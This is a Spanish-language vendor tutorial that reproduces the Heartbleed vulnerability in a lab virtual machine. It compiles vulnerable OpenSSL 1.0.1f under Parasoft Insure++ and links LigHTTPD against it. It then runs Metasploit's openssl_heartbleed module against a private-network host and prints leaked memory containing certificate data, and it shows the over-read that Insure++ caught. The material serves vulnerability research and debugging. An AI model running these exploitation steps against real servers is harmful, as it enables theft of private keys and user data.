Cómo encontrar vulnerabilidades en el código mediante la detección de errores en tiempo de ejecución

Los fallos de seguridad en los programas de software se pueden encontrar rápidamente, incluso cuando son desconocidos, mediante la detección de errores en tiempo de ejecución. Conozca esta técnica para identificar fallas de seguridad leyendo esta página.

En lugar de depender de un escáner de seguridad para encontrar vulnerabilidades conocidas en su código, puede utilizar la detección de errores en tiempo de ejecución para encontrar vulnerabilidades de seguridad. Esta técnica no requiere que se conozcan las vulnerabilidades para detectarlas.

Por qué es crucial identificar las vulnerabilidades de seguridad

La vulnerabilidad Heartbleed se descubrió en 2014 en OpenSSL y generó mucho interés y preocupación debido a la amplia adopción de OpenSSL tanto en aplicaciones comerciales como de código abierto. Después de este descubrimiento, se actualizaron escáneres de vulnerabilidades específicos para detectar Heartbleed, pero hoy veremos una técnica diferente que puede utilizar para detectar vulnerabilidades de seguridad mediante la detección de errores en tiempo de ejecución.

Cuando se publicó la noticia sobre la vulnerabilidad OpenSSL Heartbleed, la industria entró en pánico sobre cómo parchear o mitigar el problema. OpenSSL es una biblioteca de cifrado utilizada en la comunicación HTTPS. Se supone que HTTPS es la versión segura de HTTP, por lo que una amplia variedad de información privada que pasa por los cables de Internet, la primera línea de protección es OpenSSL. Como tal, la vulnerabilidad Heartbleed puso en riesgo crítico las tarjetas de crédito, los números de seguridad social, las contraseñas y otra información personal.

La vulnerabilidad se debió a la función "heartbeat" de OpenSSL, poco utilizada pero frecuentemente habilitada. Al enviar una solicitud de heartbeat malformada a un servidor que ejecuta OpenSSL, se produce una sobrelectura de memoria que filtra información crítica en el paquete de respuesta. Si se utiliza correctamente, esto permite una exfiltración casi indetectable de OpenSSL privado, lo que compromete la comunicación segura del servidor.

Cuando las organizaciones se dieron cuenta de que este problema era real, quisieron comprobar si existía en su propio código fuente. En el nivel más simple, puede parchear o actualizar una versión anterior de OpenSSL. Pero es posible que también quieras realizar pruebas para asegurarte de que el problema subyacente en sí no existe. Veamos cómo se puede utilizar la detección de errores en tiempo de ejecución junto con las herramientas de penetración tradicionales para detectar vulnerabilidades con precisión.

Aplicación de la detección de errores en tiempo de ejecución para la seguridad

Parasoft Insure ++ es una herramienta de depuración de memoria que utiliza técnicas de instrumentación patentadas para identificar rápidamente fugas y otros problemas de memoria. Detectar la memoria sobre las lecturas es increíblemente difícil (si no imposible) con los depuradores tradicionales, pero extremadamente fácil con Parasoft
Asegurar ++.

La vulnerabilidad Heartbleed fue descubierta originalmente por ingenieros de seguridad de Codenomicon y Google Security. Fue necesario un gran esfuerzo no solo para encontrar la vulnerabilidad, sino también para demostrar que la vulnerabilidad importaba y mitigar completamente el problema. Aquí, le mostraré cómo una buena herramienta de descubrimiento de vulnerabilidades, como un fuzzer combinado con Insure ++, habría facilitado significativamente el proceso de determinar el impacto de la vulnerabilidad y solucionarlo.

Dado que el núcleo de Heartbleed es un problema de lectura excesiva de la memoria, usaremos Parasoft Insure ++ para demostrar en una vulnerabilidad del mundo real cuánto más fácil es diagnosticar y corregir errores críticos con las herramientas adecuadas.

Introducción a la detección de errores en tiempo de ejecución: configuración de la máquina virtual víctima

La máquina virtual de la víctima es donde configuraremos LigHTTPD para usar una versión de OpenSSL vulnerable al ataque Heartbleed. Elegí CentOS 7 como sistema operativo para la máquina virtual víctima. Asegúrese de seleccionar herramientas de desarrollo durante la instalación para incluir el compilador GCC y otros archivos de encabezado necesarios.

Al configurar la red de la máquina virtual, tenga en cuenta desde dónde lanzará el ataque. Elegí atacar desde la máquina host, por lo que incluí un adaptador de red solo para host. Instalar en pc Metasploit en la máquina que va a realizar el ataque.

Finalmente, instale Parasoft Insure ++ en la máquina virtual víctima!

Diseño del proyecto

El proyecto se estructurará de la siguiente manera:

 ~/heartbleed :: El directorio principal donde estaremos trabajando.
 ~/heartbleed/env :: El directorio que apuntaremos como nuestro prefijo de instalación.
 ~/heartbleed/src :: El directorio donde descargaremos el código fuente y realizaremos la compilación.
 ~/heartbleed/srv :: El directorio que almacena nuestro sitio web LigHTTPD.

Compilación de OpenSSL con Insure++ e instalación

El paso para demostrar la vulnerabilidad Heartbleed es construir OpenSSL con instrumentación Insure++. Para explotar la vulnerabilidad heartbleed, necesitaremos crear una versión de OpenSSL que se haya lanzado antes de que se corrigiera el error. La última versión de OpenSSL que contenía la vulnerabilidad heartbleed fue la versión 1.0.1, así que la usaremos.

 $ cd /home/USER/heartbleed/src  $ wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz  $ tar xf openssl-1.0.1f.tar.gz  $ cd openssl-1.0.1f

Lo siguiente que debemos hacer es configurar nuestra fuente. Para acelerar este proceso, crearemos el siguiente script en el directorio fuente de OpenSSL. El script supone que tanto insure como gcc están incluidos en la RUTA actual del shell. Nombra el guión como configure_openssl.sh

La sección -d flag configura OpenSSL para incluir los símbolos de depuración requeridos por Insure ++. La directiva compartida configura OpenSSL para generar bibliotecas compartidas.

flag configura OpenSSL para instalar en este directorio.

Ahora corre ~/configure_openssl.sh en el directorio de origen de OpenSSL para configurar el origen.

 $ pwd
 /home/USER/heartbleed/src/openssl-1.0.1f
 $ chmod +x configure_openssl.sh
 $ ./configure_openssl.sh

El siguiente paso es compilar usando make. Make acepta un indicador -j para especificar el número de trabajos de compilación que se ejecutarán en paralelo. Insure ++ es totalmente compatible con esta compilación paralela que nos permite acelerar la compilación especificando el número de núcleos disponibles para la máquina virtual víctima.

$ make -j4

Al ejecutar make con la instrumentación de Insure ++, aparecerá una ventana de Insra que muestra qué archivos se están instrumentando durante la compilación.

Normalmente ejecutaríamos make install después de compilar, pero hay un problema con la creación del archivo man debido a que la versión anterior de pod2man incluida con CentOS 7 no es compatible con el formato utilizado por OpenSSL. Para evitar esto, instalamos solo el software en lugar de parchear muchos archivos POD manualmente.

$ make install_sw

Construyendo e instalando LigHTTPD

El siguiente paso es compilar LigHTTPD con nuestra compilación instrumentada Insure ++ de OpenSSL. Dado que estamos interesados ​​en la vulnerabilidad Heartbleed en OpenSSL y no en algún comportamiento de LigHTTPD, construiremos sin la instrumentación Insure ++. A pesar de no usar Insure ++ para compilar LigHTTPD, todavía necesitaremos usar Insure ++ para vincular, ya que estamos vinculando contra la compilación instrumentada Insure ++ de OpenSSL.

Obtendremos el código fuente de una versión reciente de LigHTTPD para compilar.

$ cd /home/USER/heartbleed/src  $ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.49.tar.xz  $ tar xf lighttpd-1.4.49.tar.xz  $ cd lighttpd-1.4.49

Ahora necesitamos configurar la fuente LigHTTPD para que se vincule correctamente tanto con la instrumentación de Insure ++ como con nuestra compilación de OpenSSL. Crearemos el siguiente script en el directorio fuente de LigHTTPD para lograr esto. Nombra el script de configuración algo como configure_lighttpd.sh.

 #!/usr/bin/env bash

 OPENSSL_PATH=’/home/USER/heartbleed/env’
 INSURE_PATH=’/home/USER/insure’
 MY_LIBS=’-linsure -linsure_mt -ldl’
 MY_LIB_PATHS="-L${OPENSSL_PATH}/lib -L${INSURE_PATH}/lib"
 MY_LD_LIB_PATHS="${OPENSSL_PATH}/lib:${INSURE_PATH}/lib"
 MY_FLAGS="$MY_LIB_PATHS $MY_LIBS"
 CC="$(command -v gcc)" \
 CXX="$(command -v g++)" \
 CFLAGS="$MY_FLAGS" \
 CPPFLAGS="$MY_FLAGS" \
 LDFLAGS="$MY_LIB_PATHS" \
 LD_LIBRARY_PATH="$MY_LD_LIB_PATHS" \

 --prefix=/home/USER/heartbleed/env \
 --with-openssl \
 --with-openssl-includes=/home/USER/heartbleed/env/include \ --with-openssl-libs=/home/USER/heartbleed/env/lib

Antes de ejecutar este script de configuración, asegúrese de instalar los encabezados bzip2 necesarios para LigHTTPD.

sudo yum install bzip2-devel

Ejecute el script desde el directorio LigHTTPD.

 $ pwd
 /home/USER/heartbleed/src/lighttpd-1.4.49
 $ chmod +x configure_lighttpd.sh
 $ ./configure_lighttpd.sh

Ahora que la fuente está configurada, debemos realizar un paso adicional inusual. Dado que LigHTTPD usa libtool para la vinculación de bibliotecas, debemos configurarlo para usar Insure ++ para el paso final de vinculación.

Edite el archivo /home/USER/heartbleed/srv/lighttpd-1.4.49/src/Makefile reemplazando la siguiente línea…

CCLD = $(CC)

Con lo siguiente, asegúrese de que las rutas coincidan con su configuración ...

CCLD = '/home/USER/insure/bin/insure /usr/bin/gcc'

Ahora que la fuente está configurada, podemos proceder a compilar el código fuente.
e instalar.

 $ make -j4
 $ make install

Configuración de LigHTTPD

Ahora que hemos creado LigHTTPD con OpenSSL instrumentado con Insure++, necesitamos crear una configuración básica para su ejecución. Primero, creamos una página HTML sencilla de "¡Hola mundo!" en /home/USER/heartbleed/srv/index.html~ de la siguiente manera ...

<html>
   <head>
     <title>Heartbleed Demo</title>
   </head>
   <body>
     <h1>Hello world!</h1>
   </body>
 </html>

La siguiente configuración en la configuración es generar un archivo SSL PEM para que LigHTTPD
utilizar para HTTPS.

 $ cd /home/USER/heartbleed/  $ openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -sha256 -keyout server.pem -out server.pem

¡Asegúrese de completar la dirección de correo electrónico, la ubicación física y los campos organizativos como se muestra arriba porque los buscaremos en la memoria filtrada más adelante!

Finalmente, creamos un archivo de configuración simple en /home/USER/heartbleed/lighttpd.conf como sigue. Asegúrese de corregir el usuario, los grupos y las rutas para que coincidan con su configuración. Tenga en cuenta que estamos usando los puertos no estándar 8080 para HTTP y 4443 para HTTPS para evitar tener que ejecutar LigHTTPD como root.

 server.modules = (

   "mod_openssl",
   "mod_access",
   "mod_accesslog",
 )
 server.port = 8080
 server.username = "USER"
 server.groupname = "GROUP"
 server.document-root = "/home/USER/heartbleed/srv"
 server.errorlog = "/home/USER/heartbleed/lighttpd_error.log"
 accesslog.filename = "/home/USER/heartbleed/lighttpd_access.log"
 dir-listing.activate = "enable"
 index-file.names = ( "index.html" )
 mimetype.assign = (
   ".html" => "text/html",
   ".txt" => "text/plain",
   ".css" => "text/css",
   ".js" => "application/x-javascript",
   ".jpg" => "image/jpeg",
   ".jpeg" => "image/jpeg",
   ".gif" => "image/gif",
   ".png" => "image/png",
   "" => "application/octet-stream",
 )
 $SERVER["socket"] == ":4443" {
   ssl.engine = "enable"
   ssl.pemfile = "/home/USER/heartbleed/server.pem"
 }

Ejecutando LigHTTPD

Cree el siguiente script en /home/USER/heartbleed/run_lighttpd.sh. Necesitamos especificar el LD_LIBRARY_PATH ya que estamos usando rutas no estándar para bibliotecas. Asegúrese de corregir la ruta para que coincida con la carpeta de inicio de sus usuarios.

 #!/usr/bin/env bash
 LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \
 /home/USER/heartbleed/env/sbin/lighttpd \
 -D \
 -f /home/USER/heartbleed/lighttpd.conf

¡Ejecute el script para iniciar LigHTTPD!

$ pwd
 /home/USER/heartbleed
 $ chmod +x run_lighttpd.sh
 $ ./run_lighttpd.sh

Ejecutando Metasploit

Ahora que tenemos LigHTTPD en funcionamiento con nuestro OpenSSL instrumentado Insure ++, ¡es el momento de lanzar nuestro ataque! Usaremos Metasploit para lanzar nuestro ataque. Metasploit es una herramienta para muchas tareas de seguridad de la información, incluida la explotación y eludir la seguridad del software. Incluye un escáner para Heartbleed que aprovecha parcialmente la vulnerabilidad para demostrar
susceptibilidad.

Lo primero que debe hacer es instalar Metasploit en su sistema atacante. Elegí lanzar mis ataques desde el host de la máquina virtual, así que instalé Metasploit allí. No cubriré la instalación de Metasploit ya que está fuera del alcance de esta demostración. Después de instalar Metasploit, inicie
la consola de Metasploit.

 $ msfconsole

Esto mostrará un mensaje para el marco de Metasploit. Desde este mensaje, busquemos en Metasploit las herramientas de Heartbleed que proporciona.

 msf > search heartbleed  Matching Modules  ================  Name Disclosure Date Rank Description  ---- --------------- ---- -----------  auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak  auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure

Usaremos el escáner Heartbleed de Metasploit mencionado anteriormente.

 msf > use auxiliary/scanner/ssl/openssl_heartbleed

Desde aquí queremos configurar las opciones para el escáner openssl_heartbleed. Primero, activaremos la salida detallada para ver la salida detallada durante la explotación. Luego configuramos la IP del host remoto y el puerto como objetivo para el ataque. Asegúrese de cambiar la IP del host y el puerto para que coincidan con su configuración.

 msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true  verbose => true  msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102  rhosts => 192.168.56.102  msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443  RPORT => 4443

Si ejecutamos set sin ningún argumento, podemos ver qué argumentos se han establecido para la herramienta actual. Es importante verificar estas opciones antes de iniciar un escaneo o explotación en Metasploit porque apuntar al sistema incorrecto podría interrumpir o dañar objetivos no deseados.

 msf auxiliary(scanner/ssl/openssl_heartbleed) > set  Global  ======  No entries in data store.  Module: scanner/ssl/openssl_heartbleed  ======================================  Name                 Value  ----                 -----  CHOST  CPORT  ConnectTimeout       10  DUMPFILTER  HEARTBEAT_LENGTH     65535  MAX_KEYTRIES         50  Proxies  RESPONSE_TIMEOUT     10  RHOSTS               192.168.56.102  RPORT                4443  SSL                  false  SSLCipher  SSLVerifyMode        PEER  SSLVersion           Auto  STATUS_EVERY         5  ShowProgress         true  ShowProgressPercent  10  TCP::max_send_size   0  TCP::send_delay      0  THREADS              1  TLS_CALLBACK         None  TLS_VERSION          1.0  VERBOSE              true  WORKSPACE  XMPPDOMAIN           localhost

Ahora que hemos configurado todas las opciones y confirmado que no estamos atacando algo que no pretendíamos, ¡podemos lanzar nuestro ataque!

 msf auxiliary(scanner/ssl/openssl_heartbleed) > exploit

 [*] 192.168.56.102:4443 - Sending Client Hello...
 [*] 192.168.56.102:4443 - SSL record #1:
 [*] 192.168.56.102:4443 - Type: 22
 [*] 192.168.56.102:4443 - Version: 0x0301
 [*] 192.168.56.102:4443 - Length: 86
 [*] 192.168.56.102:4443 - Handshake #1:
 [*] 192.168.56.102:4443 - Length: 82
 [*] 192.168.56.102:4443 - Type: Server Hello (2)
 [*] 192.168.56.102:4443 - Server Hello Version: 0x0301
 [*] 192.168.56.102:4443 - Server Hello random data: f6150b7136c5047cc899660bdd8c7c93cc52b4425cf50756367e6f3fed78ece4
 [*] 192.168.56.102:4443 - Server Hello Session ID length: 32
 [*] 192.168.56.102:4443 - Server Hello Session ID: 6fc69c504e53adc8611f353f010f427a01ce9530edf77f84fa71e5238660f7db
 [*] 192.168.56.102:4443 - SSL record #2:
 [*] 192.168.56.102:4443 - Type: 22
 [*] 192.168.56.102:4443 - Version: 0x0301
 [*] 192.168.56.102:4443 - Length: 1033
 [*] 192.168.56.102:4443 - Handshake #1:
 [*] 192.168.56.102:4443 - Length: 1029
 [*] 192.168.56.102:4443 - Type: Certificate Data (11)
 [*] 192.168.56.102:4443 - Certificates length: 1026
 [*] 192.168.56.102:4443 - Data length: 1029
 [*] 192.168.56.102:4443 - Certificate #1:
 [*] 192.168.56.102:4443 - Certificate #1: Length: 1023
 [*] 192.168.56.102:4443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x000055b722236070>, issuer=#<OpenSSL::X509::Name:0x000055b7222360c0>, serial=#<OpenSSL::BN:0x000055b722236110>, not_before=2018-09-24 23:24:45 UTC, not_after=2038-09-19 23:24:45 UTC>
 [*] 192.168.56.102:4443 - SSL record #3:
 [*] 192.168.56.102:4443 - Type: 22
 [*] 192.168.56.102:4443 - Version: 0x0301
 [*] 192.168.56.102:4443 - Length: 331
 [*] 192.168.56.102:4443 - Handshake #1:
 [*] 192.168.56.102:4443 - Length: 327
 [*] 192.168.56.102:4443 - Type: Server Key Exchange (12)
 [*] 192.168.56.102:4443 - SSL record #4:
 [*] 192.168.56.102:4443 - Type: 22
 [*] 192.168.56.102:4443 - Version: 0x0301
 [*] 192.168.56.102:4443 - Length: 4
 [*] 192.168.56.102:4443 - Handshake #1:
 [*] 192.168.56.102:4443 - Length: 0
 [*] 192.168.56.102:4443 - Type: Server Hello Done (14)

 [*] 192.168.56.102:4443 - Sending Heartbeat...
 [*] 192.168.56.102:4443 - Heartbeat response, 65535 bytes
 [+] 192.168.56.102:4443 - Heartbeat response with leak
 [*] 192.168.56.102:4443 - Printable info leaked:
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed

La línea después de 'Printable info filled:' ha sido eliminada porque es extremadamente larga. A continuación se presentan algunos bytes relevantes:

: .x.. o..PNS..a.5?..Bz...0.....q.#.`................................0...0...
: ............1(..0...*.H........0..1.0...U....US1.0...U....California1.0...U
: ....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0...U....rojogorra1#0!..
: *.H........noreply.com0...180924232445Z..380919232445Z0..1.0...U....US1.0..
: .U....California1.0...U....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0
: ...U....rojogorra1#0!..*.H........noreply.com0.."0...*.H.............0.....
: ....${(.........o..qC.9M...>..:.q.lN.#...F.._M^....1<..Rb...G.h/l.../S..2.3

Como puede ver, el exploit filtró con éxito la memoria de OpenSSL que contiene nuestra clave PEM. Si busca en la memoria filtrada, encontrará la dirección de correo electrónico, la ubicación física y la información de la organización que completó al crear el archivo PEM que utiliza LigHTTPD.

Analizando la salida de Insure++ Insra y TCA

Desde nuestra máquina virtual víctima, vemos la salida de Insure ++ en Insra cuando lanzamos LigHTTPD. Durante la ejecución inicial ocurre un USER_ERROR que ignoraremos ya que no tiene nada que ver con Heartbleed.

Después de ejecutar el exploit Heartbleed en Metasploit, podemos ver la línea exacta de código donde se produce la sobrelectura del búfer que hace que la memoria interna se escape.

Al hacer doble clic en la línea READ_OVERFLOW se abre otra ventana que contiene detalles adicionales que incluyen un rastro de dónde se asignó el bloque de memoria y un rastro de la pila de dónde ocurrió el desbordamiento de lectura.

Los ejecutables instrumentados con Insure ++ generan un tca.log archivo cuando se ejecuta. TCA significa "análisis de cobertura total". Podemos abrir este archivo de registro con la herramienta TCA incluida con Insure ++ para ver información detallada sobre nuestra cobertura de código.

$ TCA tca.log

En la siguiente captura de pantalla, puede ver TCA mostrando los resultados de nuestro tca.log obtenidos después de ejecutar el exploit Metasploit Heartbleed. Ordené el informe por archivo y resalté t1_lib.c donde existe la vulnerabilidad. Como puede ver, solo cubrimos el 13% del código del archivo.

Haga doble clic en la pestaña t1_lib.c La línea hará que se abra otra ventana. En esta ventana podemos ver la cobertura en t1_lib.c ordenados por función. He resaltado la función donde ocurre la vulnerabilidad Heartbleed. Como puede ver, solo cubrimos alrededor del 45% del código en la función.

Además, al hacer doble clic en el nombre de la función se muestra el código fuente con el código cubierto en negro y el código no cubierto en rojo.

Conclusión

Como puede ver, Parasoft Insure ++ hizo que la detección de Heartbleed fuera trivial. Insure ++ no solo detectó la memoria sobre la lectura, sino que también generó:

• Un seguimiento de la pila de dónde se produjo la sobreleída de la memoria.
• Un seguimiento de la pila de dónde se asignó la memoria.
• Un registro detallado de las rutas de código cubiertas.

Estas características hacen de Insure ++ algo que encajaría bien en el cinturón de herramientas de cualquier investigador de seguridad de la información. Por lo tanto, aunque probablemente esté familiarizado con el uso de varias herramientas SAST y herramientas de penetración para encontrar vulnerabilidades de seguridad, debería pensar en agregar detección de errores en tiempo de ejecución a su kit de herramientas de prueba de seguridad.